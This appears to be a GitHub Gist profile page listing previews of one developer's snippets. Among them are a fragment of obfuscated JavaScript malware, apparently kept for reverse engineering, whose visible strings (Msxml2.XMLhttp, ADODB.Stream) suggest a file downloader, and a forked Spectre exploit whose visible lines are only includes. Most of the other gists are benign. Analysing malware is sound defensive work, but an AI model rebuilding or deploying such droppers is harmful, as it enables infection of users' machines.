Skip to content

Instantly share code, notes, and snippets.

View fititnt's full-sized avatar
💭
"The difficult we do immediately; the impossible takes a little longer"

Emerson Rocha fititnt

💭
"The difficult we do immediately; the impossible takes a little longer"
View GitHub Profile
@fititnt
fititnt / original-reveng.js
Last active June 26, 2016 02:54
javascript-simple-mallware-randon.sj
var _0xe519 = ["Msxml2.XMLhttp",
"onreadystatechange",
"readyState",
"status",
"ADODB.Stream",
"open",
"type",
"write",
"position",
"read",
@fititnt
fititnt / byzanz-gui.sh
Created September 10, 2016 06:33
byzanz-gui.sh
#!/bin/bash
# AUTHOR: (c) Rob W 2012, modified by MHC (http://askubuntu.com/users/81372/mhc)
# NAME: GIFRecord 0.1
# DESCRIPTION: A script to record GIF screencasts.
# LICENSE: GNU GPL v3 (http://www.gnu.org/licenses/gpl.html)
# DEPENDENCIES: byzanz,gdialog,notify-send (install via sudo add-apt-repository ppa:fossfreedom/byzanz; sudo apt-get update && sudo apt-get install byzanz gdialog notify-osd)
# Time and date
TIME=$(date +"%Y-%m-%d_%H%M%S")
@fititnt
fititnt / write-good semantics-embedded-content.include.sh
Last active June 13, 2018 06:40
write-good semantics-embedded-content.include # W3C Use active voice, not passive. #310 https://github.com/w3c/html/issues/310
# See https://github.com/w3c/html/issues/310
#
# write-good is from https://www.npmjs.com/package/write-good#passive
# Check also https://github.com/gepoch/linter-write-good
# fititnt at bravo in /alligo/code/w3c/html/sections on git:master x [3:37:14]
$ write-good semantics-embedded-content.include
In semantics-embedded-content.include
=============
e in HTML, when there is only a single image resource,
@fititnt
fititnt / aaa_modulo-de-seguranca-linux-bb-gastecnologia-warsaw_descompactado.txt
Last active January 11, 2024 12:15
Modulo de segurança da GAS Tecnologia (WARSAW) + BB | hda-bb_0.1_all descompactado, nome/email editado
# Download de https://cloud.gastecnologia.com.br/bb/downloads/ws/hda-bb_0.1_all.deb
$ wget https://cloud.gastecnologia.com.br/bb/downloads/ws/hda-bb_0.1_all.deb
$ dpkg -x hda-bb_0.1_all.deb warsaw-deb-descompactado
$ cd warsaw-deb-descompactado/
$ tree
.
└── usr
├── local
│   └── bin
│   └── HDA_BB
@fititnt
fititnt / explicito.html
Last active April 14, 2017 20:20
JavaScript var VS const VS let VS (silencio)
<!doctype html>
<script src="variavel-const-let-a.js"></script>
<script src="variavel-const-let-b.js"></script>
<title>Este é um código HTML5 válido https://validator.w3.org/ (mas não é acessível)</title>
<!--
Navegador imprime:
variavelConstA: ConstA | variavelLetA: LetA
-->
@fititnt
fititnt / Whatson-Speech-to-Text-demo.txt
Created August 27, 2017 23:39
N-Radio, 2017-08-21, War surgeon: I feel more at risk of death on front line, Speech to text with IBM Whatson
Speaker 0: It's nothing near to me if they sent that on the contrary I tend to see more and more frequently.
Speaker 0: And the last two years when I started twenty years ago.
Speaker 0: I felt that was the trees cut off face next three bullet or stepping on a land mine.
Speaker 0: But not to me directly targeted by the.
Speaker 0: Fighters in a conflict.
Speaker 0: Today I think more and more at risk of that.
Speaker 0: If he goes to get from official data from my CSE show that.
Speaker 0: Every two days.
Speaker 0: We have a head start your target around the word engulf results.
Speaker 0: Why do these.
@fititnt
fititnt / spectre.c
Created January 6, 2018 15:17 — forked from ErikAugust/spectre.c
Spectre example code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
--------- RUN QUERY 1 ---------
-- Run this query to get SQL to drop each table
SELECT concat('DROP TABLE IF EXISTS ', table_name, ';')
FROM information_schema.tables
WHERE table_schema = 'database_name';
-- Copy results
--------- RUN QUERY 2 ---------
@fititnt
fititnt / free-creative-kits-to-boost-different-careers-aspirations-for-kids.md
Last active January 29, 2018 05:18
idea of free creative kits to boost kids tendency to choose careers more aligned with future demand of jobs around the world (reply to "Thousands of kids were asked to draw their ideal job - with surprising results")

Emerson Rocha reply to https://www.facebook.com/worldeconomicforum/posts/10155092504281479 (https://www.weforum.org/agenda/2018/01/kids-draw-their-future-jobs-careers), "Thousands of kids were asked to draw their ideal job - with surprising results"

Idea of free creative kits to boost kids tendency to choose careers more aligned with future demand of jobs around the world

It's a win-win give free cheap toy kits that stimulate creativity for certain careers for kids

The evolutionary pace of artificial intelligence and automation will drastically change the scenario of jobs in the world over the next three decades. It's harder and expensive to change the mindset of one's own parents, or even kindergarten teachers than cost benefit of certain kits.

@fititnt
fititnt / 0-curl-for-https-does-not-work-on-a-docker-container.sh
Created February 24, 2018 07:04
curl for https websites does not work on docker containers debug info
# A container does not work using https
rocketchat@a119923c6d95:/app/bundle$ curl -vv https://google.com
* Rebuilt URL to: https://google.com/
* Hostname was NOT found in DNS cache
* Trying 158.69.212.215...
* connect to 158.69.212.215 port 1080 failed: Connection refused
* Failed to connect to rocketchat.teste.chatops.win port 1080: Connection refused
* Closing connection 0
curl: (7) Failed to connect to rocketchat.teste.chatops.win port 1080: Connection refused
rocketchat@a119923c6d95:/app/bundle$